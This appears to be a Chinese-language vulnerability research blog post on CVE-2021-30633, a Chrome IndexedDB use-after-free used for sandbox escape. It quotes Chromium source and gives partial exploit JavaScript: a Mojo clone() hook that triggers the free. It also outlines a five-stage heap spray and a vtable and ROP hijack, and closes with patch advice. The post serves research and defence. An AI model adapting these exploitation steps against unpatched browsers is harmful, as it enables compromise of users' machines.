前言
最近@hungtt28 在博客公开了他的fullchian利用，其中沙箱逃逸用到了CVE-2021-30633，无恒实验室之前也编写过该漏洞的相关利用，博客文章公开后也受到一些启发，下面将分享一下无恒实验室针对CVE-2021-30633漏洞的一些心得体会，希望与业内进行学习交流。
Root Case
下面我们先来看一下漏洞的产生原理，从补丁开始入手，其中最主要的就是下面这个函数：
bool IsAcceptingRequests() {
return !is_commit_pending_ && state_ != COMMITTING && state_ != FINISHED;
}
补丁在每个DatabaseImpl和TransactionImpl接口中添加了该判断，使得处于COMMITTING和FINISHED状态的transaction无法执行，那么反过来思考就是说在这两个状态下继续进行新的transaction就会导致漏洞的产生。
而对于FINISHED状态，如同字面上的意思它代表结束，并没有什么好入手的点，所以我们更多的把精力放在COMMITTING状态，该状态可以通过IndexedDBTransaction::Commit()和TransactionImpl::Commit()这两个函数来进行设置，这里有一个有趣的调用链：
IndexedDBTransaction::Commit --> IndexedDBBackingStore::Transaction::CommitPhaseOne --> IndexedDBBackingStore::Transaction::WriteNewBlobs
}
其中，会调用blob_storage或file_system_access，将提交数据写入磁盘，代码如下：
case IndexedDBExternalObject::ObjectType::kFile:
case IndexedDBExternalObject::ObjectType::kBlob: {
if (entry.size() == 0)
continue;
// If this directory creation fails then the WriteBlobToFile call
// will fail. So there is no need to special-case handle it here.
base::FilePath path = GetBlobDirectoryNameForKey(
backing_store_->blob_path_, database_id_, entry.blob_number());
backing_store_->filesystem_proxy_->CreateDirectory(path);
// TODO(dmurph): Refactor IndexedDBExternalObject to not use a
// SharedRemote, so this code can just move the remote, instead of
// cloning.
mojo::PendingRemote<blink::mojom::Blob> pending_blob;
entry.remote()->Clone(pending_blob.InitWithNewPipeAndPassReceiver());
// Android doesn't seem to consistently be able to set file
// modification times. The timestamp is not checked during reading
// on Android either. https://crbug.com/1045488
absl::optional<base::Time> last_modified;
blob_storage_context->WriteBlobToFile(
std::move(pending_blob),
backing_store_->GetBlobFileName(database_id_,
entry.blob_number()),
IndexedDBBackingStore::ShouldSyncOnCommit(durability_),
last_modified, write_result_callback);
break;
}
}
case IndexedDBExternalObject::ObjectType::kFileSystemAccessHandle: {
if (!entry.file_system_access_token().empty())
continue;
// TODO(dmurph): Refactor IndexedDBExternalObject to not use a
// SharedRemote, so this code can just move the remote, instead of
// cloning.
mojo::PendingRemote<blink::mojom::FileSystemAccessTransferToken>
token_clone;
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
backing_store_->file_system_access_context_->SerializeHandle(
std::move(token_clone),
base::BindOnce(
[](base::WeakPtr<Transaction> transaction,
IndexedDBExternalObject* object,
base::OnceCallback<void(
storage::mojom::WriteBlobToFileResult)> callback,
const std::vector<uint8_t>& serialized_token) {
// |object| is owned by |transaction|, so make sure
// |transaction| is still valid before doing anything else.
if (!transaction)
return;
if (serialized_token.empty()) {
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kError);
return;
}
object->set_file_system_access_token(serialized_token);
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kSuccess);
},
weak_ptr_factory_.GetWeakPtr(), &entry,
write_result_callback));
break;
}
}
这里我们重点看一下kFileSystemAccessHandle这种情况，这里我们可以利用Clone来重入js，紧急插入一些基础知识科普，我们先从下面这个例子开始说起，这是一个常见的绑定接口的操作：
var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
Mojo.bindInterface(blink.mojom.FileSystemAccessTransferToken.name, fileAccessRequest.handle);
这里画了一个图帮助理解：
fileAccessPtr和fileAccessRequest分别代表interface连接的client端和service端，这里是通过mojo.makeRequest来实现的。
mojo.makeRequest创建一个message pipe，用pipe的一端填充output参数（可以是InterfacePtrInfo或interface pointer）,返回包装在InterfaceRequest实例中的另一端。
// |output| could be an interface pointer, InterfacePtrInfo or
// AssociatedInterfacePtrInfo.
function makeRequest(output) {
if (output instanceof mojo.AssociatedInterfacePtrInfo) {
var {handle0, handle1} = internal.createPairPendingAssociation();
output.interfaceEndpointHandle = handle0;
output.version = 0;
return new mojo.AssociatedInterfaceRequest(handle1);
}
if (output instanceof mojo.InterfacePtrInfo) {
var pipe = Mojo.createMessagePipe();
output.handle = pipe.handle0;
output.version = 0;
return new mojo.InterfaceRequest(pipe.handle1);
}
var pipe = Mojo.createMessagePipe();
output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
return new mojo.InterfaceRequest(pipe.handle1);
}
Mojo.bindInterface会调用bindInterface函数
//third_party/blink/renderer/core/mojo/mojo.cc
// static
void Mojo::bindInterface(ScriptState* script_state,
const String& interface_name,
MojoHandle* request_handle,
const String& scope) {
std::string name = interface_name.Utf8();
auto handle =
mojo::ScopedMessagePipeHandle::From(request_handle->TakeHandle());
if (scope == "process") {
Platform::Current()->GetBrowserInterfaceBroker()->GetInterface(
mojo::GenericPendingReceiver(name, std::move(handle)));
return;
}
ExecutionContext::From(script_state)
->GetBrowserInterfaceBroker()
.GetInterface(name, std::move(handle));
}
通过从render和browser之间已经建立好的BrowserInterfaceBroker来通过GetInterface去调用之前通过map->Add注册好的bind函数，简单来说就是创建对应mojo接口的implement对象，然后和Receiver绑定到一起。 这样就可以通过render的remote来调用browser里的代码了。
那么如何实现重入js呢？
function FileSystemAccessTransferTokenImpl() {
this.binding = new mojo.Binding(blink.mojom.FileSystemAccessTransferToken, this);
}
FileSystemAccessTransferTokenImpl.prototype = {
clone: async (arg0) => {
// 自定义
}
};
var fileAccessPtr = new blink.mojom.FileSystemAccessTransferTokenPtr();
var fileAccessImpl = new FileSystemAccessTransferTokenImpl();
var fileAccessRequest = mojo.makeRequest(fileAccessPtr);
fileAccessImpl.binding.bind(fileAccessRequest);
首先需要在render层（也就是js）实现一个fileAccessImpl，之后自定义一个想要的clone方法，再利用mojo.Binding.bind的方法将mojo.makeRequest返回的InterfaceRequest绑定到js实现的fileAccessImpl上。
// -----------------------------------
// |request| could be omitted and passed into bind() later.
//
// Example:
//
// // FooImpl implements mojom.Foo.
// function FooImpl() { ... }
// FooImpl.prototype.fooMethod1 = function() { ... }
// FooImpl.prototype.fooMethod2 = function() { ... }
//
// var fooPtr = new mojom.FooPtr();
// var request = makeRequest(fooPtr);
// var binding = new Binding(mojom.Foo, new FooImpl(), request);
// fooPtr.fooMethod1();
function Binding(interfaceType, impl, requestOrHandle) {
this.interfaceType_ = interfaceType;
this.impl_ = impl;
this.router_ = null;
this.interfaceEndpointClient_ = null;
this.stub_ = null;
if (requestOrHandle)
this.bind(requestOrHandle);
}
......
Binding.prototype.bind = function(requestOrHandle) {
this.close();
var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
requestOrHandle.handle : requestOrHandle;
if (!(handle instanceof MojoHandle))
return;
this.router_ = new internal.Router(handle);
this.stub_ = new this.interfaceType_.stubClass(this.impl_);
this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
this.stub_, this.interfaceType_.kVersion);
this.interfaceEndpointClient_ .setPayloadValidators([
this.interfaceType_.validateRequest]);
};
这样就不需要从render发送PendingReceiver给Browser，去调用browser侧的interface implemention，也就变成了从render来调用render里的代码。
之后我们将remote传入external_object
var external_object = new blink.mojom.IDBExternalObject();
external_object.fileSystemAccessToken = fileAccessPtr;
之后在IndexedDBBackingStore::Transaction::WriteNewBlobs中通过entry.file_system_access_token_remote()获取传入的remote，之后调用的clone就会是我们定义的js代码，即实现了重入js。
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
这里我们定义的clone如下：
FileSystemAccessTransferTokenImpl.prototype = {
clone: async (arg0) => {
// IndexedDBBackingStore::Transaction::WriteNewBlobs is waiting for writing complete, so we can hookup COMMITTING state_ of transition
// replace key/value in object store to delete the external object
print("=== clone ===");
var value = new blink.mojom.IDBValue();
value.bits = [0x41, 0x41, 0x41, 0x41];
value.externalObjects = [];
var key = new blink.mojom.IDBKey();
key.string = new mojoBase.mojom.String16();
key.string.data = "key";
var mode = blink.mojom.IDBPutMode.AddOrUpdate;
var index_keys = [];
idbTransactionPtr.put(object_store_id, value, key, mode, index_keys);
// commit force put operation
idbTransactionPtr.commit(0);
for(let i = 0; i < 0x1000; i++){
var a=new Blob([heap1]);
blob_list.push(a);
}
done = true;
// get token for file handle, control-flow comeback to callback within cached external object ==> UAF
fileAccessHandlePtr.transfer(arg0);
}
};
这里有一个需要注意的地方：
entry.file_system_access_token_remote()->Clone(
token_clone.InitWithNewPipeAndPassReceiver());
backing_store_->file_system_access_context_->SerializeHandle
clone在这里是异步调用的，我们需要根据实际情况来确定执行顺序。
下面涉及到uaf的主要成因，将分成三个部分来讲：
1、uaf的成因
external_objects的释放涉及到两次put请求，释放发生在clone重入的第二次put中。
释放external_objects的调用链如下：
TransactionImpl::Put —> IndexedDBDatabase::PutOperation —> IndexedDBBackingStore::PutRecord —> IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded
在TransactionImpl::Put需要注意一下params，他存储了我们传入的object_store_id, value, key, mode, index_keys，几个关键部分的偏移如下：
params->object_store_id 偏移：0x0
params->value 偏移：0x8～0x30
params->key 偏移：0x38
params->value的类型为IndexedDBValue
struct CONTENT_EXPORT IndexedDBValue {
......
std::string bits;
std::vector<IndexedDBExternalObject> external_objects;
};
由于我们之后要释放external_object，在这里打了一个log来输出他的地址和大小，这个184也就是之后我们要堆喷的大小。
这个图是clone中第二次调用，在第二次put时我们传入了空的external_object，bits（也就是之后要用到的key）仍与第一次相同
free发生在此处，由于我们第二次传入的externalobject为空，将会走到external_object_change_map.erase，由于两次的object_store_data_key相同，将会把第一次传入的external_object给释放掉。
Status IndexedDBBackingStore::Transaction::PutExternalObjectsIfNeeded(
int64_t database_id,
const std::string& object_store_data_key,
std::vector<IndexedDBExternalObject>* external_objects) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
if (!external_objects || external_objects->empty()) {
external_object_change_map_.erase(object_store_data_key); //free here!!
incognito_external_object_map_.erase(object_store_data_key);
.......
}
class IndexedDBExternalObjectChangeRecord {
........
private:
std::string object_store_data_key_;
std::vector<IndexedDBExternalObject> external_objects_;
};
调试一下两次PutExternalObjectsIfNeeded，可以看到object_store_data_key是相同的。
2、clone中commit的作用
由于clone是在上次commit中被调用的，此时我们正处于上一个事务的提交过程中，此时只进行put请求的话并不会直接处理该事务，而是会优先处理完上一个操作，可以看下面的图：
而我们的free操作是发生在put中的，如果想要泄漏出token的地址，就需要put先于set_file_system_access_token执行，这里使用了commit来强制提交put，这样相当于put进行了插队，即可实现我们想要的效果。
此时又会产生一个新的问题，在这里再次调用commit不会继续调用clone重入吗？
答案是不会的，让我们来看下面这块代码：
IndexedDBTransaction::RunTasks() {
.......
// If there are no pending tasks, we haven't already committed/aborted,
// and the front-end requested a commit, it is now safe to do so.
if (!HasPendingTasks() && state_ == STARTED && is_commit_pending_) {
processing_event_queue_ = false;
// This can delete |this|.
leveldb::Status result = Commit(); //IndexedDBTransaction::Commit()
if (!result.ok())
return {RunTasksResult::kError, result};
}
.......
}
可以看到只有当state == STARTED的时候才会调用IndexedDBTransaction::Commit，进而去调用
WriteNewBlobs，我们第二次调用commit的时候此时的state已经是COMMITTING了。
第一次commit：
第二次commit：
3、transfer的作用
首先我们先来看这段调用链：
FileSystemAccessManagerImpl::SerializeHandle --> FileSystemAccessManagerImpl::ResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DoResolveTransferToken --> FileSystemAccessManagerImpl::DidResolveForSerializeHandle
可以看到在DoResolveTransferToken调用时需要从transfertokens找到一个token才能最终走到SerializeHandle的回调中
void FileSystemAccessManagerImpl::DoResolveTransferToken(
mojo::Remote<blink::mojom::FileSystemAccessTransferToken>,
ResolvedTokenCallback callback,
const base::UnguessableToken& token) {
DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
auto it = transfer_tokens_.find(token);
if (it == transfer_tokens_.end()) {
std::move(callback).Run(nullptr);
} else {
std::move(callback).Run(it->second.get());
}
}
所以我们需要在clone中调用fileAccessHandlePtr.transfer(arg0);
void FileSystemAccessManagerImpl::DidResolveForSerializeHandle(
SerializeHandleCallback callback,
FileSystemAccessTransferTokenImpl* resolved_token) {
if (!resolved_token) {
std::move(callback).Run({});
return;
}
.......
std::string value;
bool success = data.SerializeToString(&value);
DCHECK(success);
std::vector<uint8_t> result(value.begin(), value.end());
std::move(callback).Run(result);
}
之后传入DoResolveTransferToken的FileSystemAccessTransferTokenImpl经过处理变为了result，它即object->set_file_system_access_token(serialized_token)中的serialized_token。
backing_store_->file_system_access_context_->SerializeHandle(
std::move(token_clone),
base::BindOnce(
[](base::WeakPtr<Transaction> transaction,
IndexedDBExternalObject* object,
base::OnceCallback<void(
storage::mojom::WriteBlobToFileResult)> callback,
const std::vector<uint8_t>& serialized_token) {
// |object| is owned by |transaction|, so make sure
// |transaction| is still valid before doing anything else.
if (!transaction)
return;
if (serialized_token.empty()) {
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kError);
return;
}
object->set_file_system_access_token(serialized_token);
std::move(callback).Run(
storage::mojom::WriteBlobToFileResult::kSuccess);
},
weak_ptr_factory_.GetWeakPtr(), &entry,
write_result_callback));
break;
这里需要注意一点：
在SerializeToString序列化的过程中，会计算出一个8字节的内容填充在token的最前面，后续才是我们的file_name，所以在用file_name去控制token大小时需要注意token的大小会大file_name0x8。
小结
上面分了三个部分来讲，下面我们整合一下上面的内容：
- 我们可以使用clone重入js，即可在clone中二次调用put。
- 第二次put中如果传入key相同的空external_object将会释放第一次put的external_object。
- 通过transer将token传入了set_file_system_access_token。
- 通过commit来插队使得PutExternalObjectsIfNeeded先于set_file_system_access_token执行
- 通过blob申请回free掉的external_object，之后set_file_system_access_token将会将token写入我们的blob，之后通过读取blob即可获得token（vector容器）的begin等地址。
利用
漏洞的利用分为五次堆喷射，下面我将依次对每次堆喷射进行介绍：
第一次堆喷：
此次堆喷的目标是被释放的external_object，通过喷射blob将external_object的内存空间申请回来，之后调用set_file_system_access_token，将token写入内存
void IndexedDBExternalObject::set_file_system_access_token(
std::vector<uint8_t> token) {
DCHECK_EQ(object_type_, ObjectType::kFileSystemAccessHandle);
file_system_access_token_ = std::move(token);
}
set_file_system_access_token前：
set_file_system_access_token后：
之后通过读取blob来获得图中标红部分的地址。
第二次堆喷：
这次喷射时，在喷射的blob中填入第一次中leak出来的地址，由于vector重载了=操作符，在赋值时token处不为0将会释放掉token。
释放token的主要目的是，他的大小和内容是可以被file_name控制的，这里相当于我们将external_object的uaf转换为了token的uaf。
第三次堆喷：
在使用RegisterFromStream接口注册新blob时，会new BlobDataItem。
BlobRegistryImpl::RegisterFromStream --> BlobBuilderFromStream::Start --> BlobBuilderFromStream::AllocateMoreMemorySpace --> BlobDataItem::CreateBytesDescription
---------------------------------------------------------------------------
void BlobBuilderFromStream::AllocateMoreMemorySpace(
uint64_t length_hint,
mojo::PendingAssociatedRemote<blink::mojom::ProgressClient> progress_client,
mojo::ScopedDataPipeConsumerHandle pipe) {
..........
std::vector<scoped_refptr<ShareableBlobDataItem>> chunk_items;
while (length_hint > 0) {
const auto block_size = std::min<uint64_t>(kMemoryBlockSize, length_hint);
chunk_items.push_back(base::MakeRefCounted<ShareableBlobDataItem>(
BlobDataItem::CreateBytesDescription(block_size),
ShareableBlobDataItem::QUOTA_NEEDED));
length_hint -= block_size;
}
........
}
---------------------------------------------------------------------------
scoped_refptr<BlobDataItem> BlobDataItem::CreateBytesDescription(
size_t length) {
return base::WrapRefCounted(
new BlobDataItem(Type::kBytesDescription, 0, length));
}
BlobDataItem中存储了datahandle，我们的最终目的是占位BlobDataItem去修改datahandle，进而通过覆盖DataHandle的虚函数表来劫持执行流。
class COMPONENT_EXPORT(STORAGE_BROWSER) BlobDataItem
: public base::RefCounted<BlobDataItem> {
........
Type type_;
uint64_t offset_;
uint64_t length_;
std::vector<uint8_t> bytes_; // For Type::kBytes.
base::FilePath path_; // For Type::kFile.
FileSystemURL filesystem_url_; // For Type::kFileFilesystem.
base::Time
expected_modification_time_; // For Type::kFile and kFileFilesystem.
scoped_refptr<DataHandle> data_handle_; // For kReadableDataHandle.
scoped_refptr<ShareableFileReference> file_ref_; // For Type::kFile
scoped_refptr<FileSystemContext>
file_system_context_; // For Type::kFileFilesystem.
};
可以通过log的方式获得当前版本的BlobDataItem的大小，由于token的大小可以由我们控制，所以我们要控制他和BlobDataItem的大小保持一致，方便之后进行堆喷。
当前使用的环境BlobDataItem的大小为424，所以file_name的大小为424-8（-8的原因上面有提到）。
在第二次堆喷中我们获得了一个free的424大小的token，此时通过调用RegisterFromStream即可将BlobDataItem喷到token的位置。
第四次堆喷：
此次堆喷过程和第二次相同，主要目的就是将已经是BlobDataItem的token再次释放，相当于获得了一个free的BlobDataItem。
第五次堆喷：
这次堆喷我们就可以直接喷射BlobDataItem，此时我们只要在blob中布置好rop链去覆盖DataHandle的虚函数表即可完成攻击（核心思路就是在blob的前面部分布置好栈迁移和执行system的gadget，之后将0x190偏移处也就是datahandle的指针覆盖为布置好gadget的地址-0x10处即可）。
覆盖之后虚函数的调用是通过BlobImpl::ReadSideData这个接口来实现的，在代码标红处，另外在喷射BlobDataItem时还需要注意蓝色位置处，要满足type判断以保证虚函数的调用。
void BlobImpl::ReadSideData(ReadSideDataCallback callback) {
handle_->RunOnConstructionComplete(base::BindOnce(
[](BlobDataHandle handle, ReadSideDataCallback callback,
BlobStatus status) {
if (status != BlobStatus::DONE) {
DCHECK(BlobStatusIsError(status));
std::move(callback).Run(absl::nullopt);
return;
}
auto snapshot = handle.CreateSnapshot();
// Currently side data is supported only for blobs with a single entry.
const auto& items = snapshot->items();
if (items.size() != 1) {
std::move(callback).Run(absl::nullopt);
return;
}
const auto& item = items[0];
if (item->type() != BlobDataItem::Type::kReadableDataHandle) {
std::move(callback).Run(absl::nullopt);
return;
}
int32_t body_size = item->data_handle()->GetSideDataSize();
if (body_size == 0) {
std::move(callback).Run(absl::nullopt);
return;
}
item->data_handle()->ReadSideData(base::BindOnce(
[](ReadSideDataCallback callback, int result,
mojo_base::BigBuffer buffer) {
if (result < 0) {
std::move(callback).Run(absl::nullopt);
return;
}
std::move(callback).Run(std::move(buffer));
},
std::move(callback)));
},
*handle_, std::move(callback)));
}
这里因为原exp中已经给出了rop链的布置，就不做重点分析了。
安全建议
- 谷歌官方为该漏洞提供了如下补丁：
- 可以通过打补丁或更新到安全版本—93.0.4577.82及以上来避免该漏洞的危害。
结束语
- 总体上来说，该漏洞利用上由于堆喷次数过多，在利用稳定性和利用耗时上并不是很理想，但是从利用思路上还是可以学到很多东西，是一个很巧妙的利用。
- 无恒实验室致力于为字节跳动旗下产品与业务保驾护航，亦极为重视第三方应用对业务安全的影响，在检测公司引入的第三方应用安全性的同时，无恒实验室也着力于构建第三方应用中的漏洞缓解机制，并将持续与业界共享研究成果，协助企业业务避免遭受安全风险，亦望能与业内同行共同合作，为网络安全行业的发展做出贡献。
参考资料
https://starlabs.sg/blog/2022/01/the-cat-escaped-from-the-chrome-sandbox/